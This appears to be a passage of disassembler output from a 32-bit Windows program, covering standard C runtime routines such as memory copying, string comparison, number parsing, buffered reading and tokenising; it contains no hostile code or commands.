loc_4183D4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4183DC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4183E4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4183EC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4183FF:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0:off_41839Co
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_418408	dd offset loc_418418	; DATA XREF: sub_4182C0+35r
					; sub_4182C0+92r ...
		dd offset loc_418420
		dd offset loc_41842C
		dd offset loc_418440
; ---------------------------------------------------------------------------


loc_418418:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_418420:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41842C:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_418440:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_418458:				; CODE XREF: sub_4182C0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41848C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_418480:				; CODE XREF: sub_4182C0+1B1j
					; sub_4182C0+208j ...
		neg	ecx
		jmp	off_418550[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41848C:				; CODE XREF: sub_4182C0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4184A4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_4184A4+4[eax*4]
; ---------------------------------------------------------------------------


loc_4184A4:				; CODE XREF: sub_4182C0+1D6j
					; DATA XREF: sub_4182C0+1DDr
		jmp	off_4185A0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4184B7+1
; ---------------------------------------------------------------------------
		fadd	dword ptr [ecx+eax*2+41850000h]


loc_4184B7:				; DATA XREF: sub_4182C0+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_418554
		dd offset loc_41855C
		dd offset loc_418564
		dd offset loc_41856C
		dd offset loc_418574
		dd offset loc_41857C
		dd offset loc_418584
off_418550	dd offset loc_418597	; DATA XREF: sub_4182C0+1C2r
; ---------------------------------------------------------------------------


loc_418554:				; DATA XREF: sub_4182C0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41855C:				; DATA XREF: sub_4182C0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_418564:				; DATA XREF: sub_4182C0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41856C:				; DATA XREF: sub_4182C0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_418574:				; DATA XREF: sub_4182C0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41857C:				; DATA XREF: sub_4182C0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_418584:				; DATA XREF: sub_4182C0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_418597:				; CODE XREF: sub_4182C0+1C2j
					; DATA XREF: sub_4182C0:off_418550o
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_4185A0	dd offset loc_4185B0	; DATA XREF: sub_4182C0+1B7r
					; sub_4182C0:loc_4184A4r ...
		dd offset loc_4185B8
		dd offset loc_4185C8
		dd offset loc_4185DC
; ---------------------------------------------------------------------------


loc_4185B0:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4185B8:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4185C8:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4185DC:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4182C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185F5	proc near		; CODE XREF: sub_40473F+34p
					; sub_40473F+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_417B9B
		pop	ecx
		pop	ecx
		retn
sub_4185F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_418603	proc near		; CODE XREF: sub_418670+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4CF03C
		call	sub_41D5A8
		mov	edx, dword_4CF03C
		pop	ecx
		mov	ecx, dword_4CF038
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_418662
		push	edx
		call	sub_41D5A8
		add	eax, 10h
		push	eax
		push	dword_4CF03C
		call	sub_41944F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_418645
		retn
; ---------------------------------------------------------------------------


loc_418645:				; CODE XREF: sub_418603+3Fj
		mov	ecx, dword_4CF038
		sub	ecx, dword_4CF03C
		mov	dword_4CF03C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4CF038, ecx


loc_418662:				; CODE XREF: sub_418603+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4CF038, 4
		retn
sub_418603	endp


; =============== S U B	R O U T	I N E =======================================



sub_418670	proc near		; CODE XREF: sub_40482C+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_418603
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_418670	endp


; =============== S U B	R O U T	I N E =======================================



sub_418682	proc near		; DATA XREF: ___:00426018o
		push	80h
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	dword_4CF03C, eax
		jnz	short loc_4186A3
		push	18h
		call	sub_419CDA
		mov	eax, dword_4CF03C
		pop	ecx


loc_4186A3:				; CODE XREF: sub_418682+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4CF03C
		mov	dword_4CF038, eax
		retn
sub_418682	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4186B1	proc near		; CODE XREF: ___:00404AFFp
					; sub_4053D5+4Ep

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	near ptr 264047Bh
		nop
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2830000h
		mov	ax, [ebp+var_16]
		cmp	ax, word_4CD9AA
		jnz	short loc_418716
		mov	ax, [ebp+var_18]
		cmp	ax, word_4CD9A8
		jnz	short loc_418716
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4CD9A6
		jnz	short loc_418716
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4CD9A2
		jnz	short loc_418716
		mov	ax, [ebp+var_20]
		cmp	ax, word_4CD9A0
		jnz	short loc_418716
		mov	eax, dword_4CD998
		jmp	short loc_41875B
; ---------------------------------------------------------------------------


loc_418716:				; CODE XREF: sub_4186B1+28j
					; sub_4186B1+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		nop
		call	near ptr 2820000h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418743
		cmp	eax, 2
		jnz	short loc_41873F
		cmp	[ebp+var_32], 0
		jz	short loc_41873F
		cmp	[ebp+var_24], 0
		jz	short loc_41873F
		push	1
		pop	eax
		jmp	short loc_418746
; ---------------------------------------------------------------------------


loc_41873F:				; CODE XREF: sub_4186B1+7Aj
					; sub_4186B1+81j ...
		xor	eax, eax
		jmp	short loc_418746
; ---------------------------------------------------------------------------


loc_418743:				; CODE XREF: sub_4186B1+75j
		or	eax, 0FFFFFFFFh


loc_418746:				; CODE XREF: sub_4186B1+8Cj
					; sub_4186B1+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4CD9A0
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4CD998, eax
		pop	esi


loc_41875B:				; CODE XREF: sub_4186B1+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_41D609
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41878B
		mov	[ecx], eax

locret_41878B:				; CODE XREF: sub_4186B1+D6j
		leave
		retn
sub_4186B1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418790	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4CDA40
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4187E3
		mov	al, 0FFh
		mov	edi, edi


loc_4187AC:				; CODE XREF: sub_418790+28j
					; sub_418790+48j
		or	al, al
		jz	short loc_4187DE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_4187AC
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_4187AC
		sbb	al, al
		sbb	al, 0FFh


loc_4187DE:				; CODE XREF: sub_418790+1Ej
		movsx	eax, al
		jmp	short loc_418817
; ---------------------------------------------------------------------------


loc_4187E3:				; CODE XREF: sub_418790+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_4187EC:				; CODE XREF: sub_418790+68j
					; sub_418790+80j
		or	al, al
		jz	short loc_418817
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_4187EC
		push	eax
		push	ebx
		call	sub_419101
		mov	ebx, eax
		add	esp, 4
		call	sub_419101
		add	esp, 4
		cmp	bl, al
		jz	short loc_4187EC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_418817:				; CODE XREF: sub_418790+51j
					; sub_418790+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418790	endp


; =============== S U B	R O U T	I N E =======================================



sub_41881C	proc near		; CODE XREF: ___:0041ACB7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418833
		add	esp, 10h
		retn
sub_41881C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418833	proc near		; CODE XREF: sub_41881C+Ep
					; sub_418A3B+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41884B:				; CODE XREF: sub_418833+46j
		cmp	dword_433E7C, 1
		jle	short loc_418863
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_418872
; ---------------------------------------------------------------------------


loc_418863:				; CODE XREF: sub_418833+1Fj
		mov	ecx, off_433C70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_418872:				; CODE XREF: sub_418833+2Ej
		test	eax, eax
		jz	short loc_41887B
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41884B
; ---------------------------------------------------------------------------


loc_41887B:				; CODE XREF: sub_418833+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_418889
		or	[ebp+arg_C], 2
		jmp	short loc_41888E
; ---------------------------------------------------------------------------


loc_418889:				; CODE XREF: sub_418833+4Ej
		cmp	bl, 2Bh
		jnz	short loc_418894


loc_41888E:				; CODE XREF: sub_418833+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_418894:				; CODE XREF: sub_418833+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_418A2B
		cmp	eax, 1
		jz	loc_418A2B
		cmp	eax, 24h
		jg	loc_418A2B
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_4188DC
		cmp	bl, 30h
		jz	short loc_4188C6
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_4188F8
; ---------------------------------------------------------------------------


loc_4188C6:				; CODE XREF: sub_418833+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4188D9
		cmp	al, 58h
		jz	short loc_4188D9
		mov	[ebp+arg_8], 8
		jmp	short loc_4188F8
; ---------------------------------------------------------------------------


loc_4188D9:				; CODE XREF: sub_418833+97j
					; sub_418833+9Bj
		mov	[ebp+arg_8], ecx


loc_4188DC:				; CODE XREF: sub_418833+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4188F8
		cmp	bl, 30h
		jnz	short loc_4188F8
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4188F0
		cmp	al, 58h
		jnz	short loc_4188F8


loc_4188F0:				; CODE XREF: sub_418833+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_4188F8:				; CODE XREF: sub_418833+91j
					; sub_418833+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_418908:				; CODE XREF: sub_418833+16Cj
		cmp	dword_433E7C, 1
		movzx	esi, bl
		jle	short loc_418920
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41892B
; ---------------------------------------------------------------------------


loc_418920:				; CODE XREF: sub_418833+DFj
		mov	eax, off_433C70
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41892B:				; CODE XREF: sub_418833+EBj
		test	eax, eax
		jz	short loc_418937
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_418969
; ---------------------------------------------------------------------------


loc_418937:				; CODE XREF: sub_418833+FAj
		cmp	dword_433E7C, 1
		jle	short loc_41894B
		push	edi
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_418956
; ---------------------------------------------------------------------------


loc_41894B:				; CODE XREF: sub_418833+10Bj
		mov	eax, off_433C70
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_418956:				; CODE XREF: sub_418833+116j
		test	eax, eax
		jz	short loc_4189A4
		movsx	eax, bl
		push	eax
		call	sub_41D6CB
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_418969:				; CODE XREF: sub_418833+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4189A4
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41898E
		jnz	short loc_418988
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41898E


loc_418988:				; CODE XREF: sub_418833+147j
		or	[ebp+arg_C], 4
		jmp	short loc_418997
; ---------------------------------------------------------------------------


loc_41898E:				; CODE XREF: sub_418833+145j
					; sub_418833+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_418997:				; CODE XREF: sub_418833+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_418908
; ---------------------------------------------------------------------------


loc_4189A4:				; CODE XREF: sub_418833+125j
					; sub_418833+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_4189C2
		test	edx, edx
		jz	short loc_4189BC
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_4189BC:				; CODE XREF: sub_418833+181j
		and	[ebp+var_8], 0
		jmp	short loc_418A0F
; ---------------------------------------------------------------------------


loc_4189C2:				; CODE XREF: sub_418833+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_4189E8
		test	cl, 1
		jnz	short loc_418A0F
		and	ecx, 2
		jz	short loc_4189DF
		cmp	[ebp+var_8], 80000000h
		ja	short loc_4189E8


loc_4189DF:				; CODE XREF: sub_418833+1A1j
		test	ecx, ecx
		jnz	short loc_418A0F
		cmp	[ebp+var_8], eax
		jbe	short loc_418A0F


loc_4189E8:				; CODE XREF: sub_418833+197j
					; sub_418833+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4CD9B4, 22h
		jz	short loc_4189FE
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_418A0F
; ---------------------------------------------------------------------------


loc_4189FE:				; CODE XREF: sub_418833+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_418A0F:				; CODE XREF: sub_418833+18Dj
					; sub_418833+19Cj ...
		test	edx, edx
		jz	short loc_418A18
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_418A18:				; CODE XREF: sub_418833+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_418A26
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_418A26:				; CODE XREF: sub_418833+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_418A36
; ---------------------------------------------------------------------------


loc_418A2B:				; CODE XREF: sub_418833+66j
					; sub_418833+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_418A34
		mov	[eax], edi


loc_418A34:				; CODE XREF: sub_418833+1FDj
		xor	eax, eax


loc_418A36:				; CODE XREF: sub_418833+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418833	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A3B	proc near		; CODE XREF: sub_4053D5+4BDp
					; sub_40EE72+3773p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418833
		add	esp, 10h
		retn
sub_418A3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A52	proc near		; CODE XREF: sub_4053D5+266p
					; sub_4053D5+46Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_417AB0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D797
		add	esp, 10h
		leave
		retn
sub_418A52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A86	proc near		; CODE XREF: sub_405A58+4Ep
					; sub_406C19+30Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_418AAA
		xor	eax, eax
		jmp	loc_418B53
; ---------------------------------------------------------------------------


loc_418AAA:				; CODE XREF: sub_418A86+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_418ABD
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_418AC9
; ---------------------------------------------------------------------------


loc_418ABD:				; CODE XREF: sub_418A86+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_418AC9
; ---------------------------------------------------------------------------


loc_418AC6:				; CODE XREF: sub_418A86+C4j
		mov	ecx, [ebp+arg_0]


loc_418AC9:				; CODE XREF: sub_418A86+35j
					; sub_418A86+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_418AFB
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_418AFB
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_418AE0
		mov	edi, eax


loc_418AE0:				; CODE XREF: sub_418A86+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_417390
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_418B46
; ---------------------------------------------------------------------------


loc_418AFB:				; CODE XREF: sub_418A86+49j
					; sub_418A86+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_418B2E
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_418B11
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_418B11:				; CODE XREF: sub_418A86+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41E321
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_418B58
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418B5E
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_418B46
; ---------------------------------------------------------------------------


loc_418B2E:				; CODE XREF: sub_418A86+78j
		push	esi
		call	sub_41E248
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_418B62
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_418B46:				; CODE XREF: sub_418A86+73j
					; sub_418A86+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_418AC6
		mov	eax, [ebp+arg_8]


loc_418B53:				; CODE XREF: sub_418A86+1Fj
					; sub_418A86+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B58:				; CODE XREF: sub_418A86+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_418B62
; ---------------------------------------------------------------------------


loc_418B5E:				; CODE XREF: sub_418A86+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_418B62:				; CODE XREF: sub_418A86+B2j
					; sub_418A86+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_418B53
sub_418A86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B6E	proc near		; CODE XREF: sub_405AF2+2B2p
					; sub_4060D0+101p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_418B87:				; CODE XREF: sub_418B6E+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_418B87
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_418BAF
		mov	edx, dword_4CD9B0


loc_418BAF:				; CODE XREF: sub_418B6E+39j
					; sub_418B6E+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_418BCF
		test	al, al
		jz	short loc_418BCF
		inc	edx
		jmp	short loc_418BAF
; ---------------------------------------------------------------------------


loc_418BCF:				; CODE XREF: sub_418B6E+58j
					; sub_418B6E+5Cj
		mov	ebx, edx


loc_418BD1:				; CODE XREF: sub_418B6E+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_418BF5
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_418BF1
		inc	edx
		jmp	short loc_418BD1
; ---------------------------------------------------------------------------


loc_418BF1:				; CODE XREF: sub_418B6E+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_418BF5:				; CODE XREF: sub_418B6E+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4CD9B0, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_418B6E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418C10	proc near		; CODE XREF: sub_406387+1B6p
					; sub_407252+6Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_418C93
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
